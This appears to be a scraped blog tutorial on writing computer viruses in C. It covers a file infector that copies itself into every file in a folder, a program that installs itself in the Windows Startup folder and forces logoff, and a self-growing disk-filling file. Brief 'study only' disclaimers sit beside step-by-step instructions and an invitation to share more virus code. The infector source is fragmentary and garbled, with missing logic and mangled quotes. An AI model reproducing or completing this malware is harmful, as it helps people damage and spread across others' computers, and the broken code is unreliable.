Computer virus is simply is a malware program which when executed causes some harmful activity on the computer by infecting it. Such virus may be responsible for stealing hard disc space, accessing private data, corrupting information etc. depending up on the type of the malware.
Creating a computer virus is easy, and in this post, I am going to take you through how to develop computer virus using C programming language. Please, use the programs presented here for study purpose only.
To create computer virus using C, you need a good knowledge of C language, and a tricky mind to understand how the virus will infect your computer. The virus programs presented in this post are all different, and each of them infect your computer differently as they have different functions.
The source code which when executed creates a copy of itself in all the other files that are present in the same directory. These virus generally tend to form a network, and easily spread all over the computer.
CAUTION: The source code to develop computer virus presented here are for study purpose only. I suggest you to understand and analyze these programs, but not run them in your computer. Some of these may delete files in your computer, while other may change your computer’s configurations or even remove your system completely.
1. Develop Computer Virus using C to Destroy Files:
The source code of this virus is written and compiled in Turbo C. Before going through the source code of the virus, I would like to put forward the algorithm for this virus. It works following the major four steps given below.
- First of all, the virus is supposed to look for the files in the current directory. If there are more than one files, it loads the first file which is considered as target file.
- Now the copy of the virus is loaded into memory.
- After that, the target file is opened and the virus is copied from the memory. After copping the code in the target file, the target file is closed.
- Finally, the next file to be infected is loaded and step-3 is repeated.
//Develop Computer Virus Using C to Destroy Files
unsigned long x; // variable declaration
char buff; // variable declaration
struct ffblk ffblk;
clrscr(); // to clear the screen
done=findfirst(“*.*”,&ffblk,0); //looking for a file with any extension (*.*)
virus=fopen(_argv,”rb”); // calling the functon
if(host==NULL) goto next;
printf(“DONE! (Total Files Infected= %d)”,a);
printf(“TIME TAKEN=%f SEC\n”,
How to Test this Virus?
Testing this virus normally may infect your computer. So, in order to test this virus program, you are recommended to follow the following steps:
- Make a new empty folder in your computer.
- Then, copy some executable files or any kind of files in that folder.
- Run the application or .exe file of the virus. Within a few seconds, all the other files in that folder get infected.
- After that, each file in that folder is a virus which can be used to re-infect.
2. Create Computer Virus using C to Restart Computer:
This virus is so simple to create. The only thing you need to know is how to approach the setting menu of your computer. The source code is short. The first line is to reach the setting menu of your system and the second line to shut it down.
//Develop Computer Virus using C to Restart Computer
system("copy test.exe C:/Documents and Settings/All Users/Start Menu/Programs/Startup/");
system("shutdown -l -f");
It is not so harmful to test this virus on your computer. Save and close all the important programs and run .exe file of this program; it will restart your system. The source code has been compiled in Code::Blocks using GCC compiler.
If you want to develop this computer virus using C source code compiled in Turbo C, run the .exe file of the code below after compiling it in Turbo C. It will restart your computer after some time.
3. Develop Computer Virus using C to Jam Hard Disk:
The virus has can jam your hard disk, so do not run it. The source code is such that it will make a self growing file in your computer which grows to a few MB, and may continue infinitely. Here’s the code for this virus.
//Develop Computer Virus using C to Jam Hard Disk
I hope this tutorial on “How to Develop Computer Virus using C” was useful to you. Again, the source codes here are for academic purpose only. Do not misuse them by spreading to any computer. We can’t be held responsible for that.
Your queries, feedbacks and suggestions regarding this tutorial can be mentioned in the comments section. Also, if you have a different computer virus C source code, share it in the comments.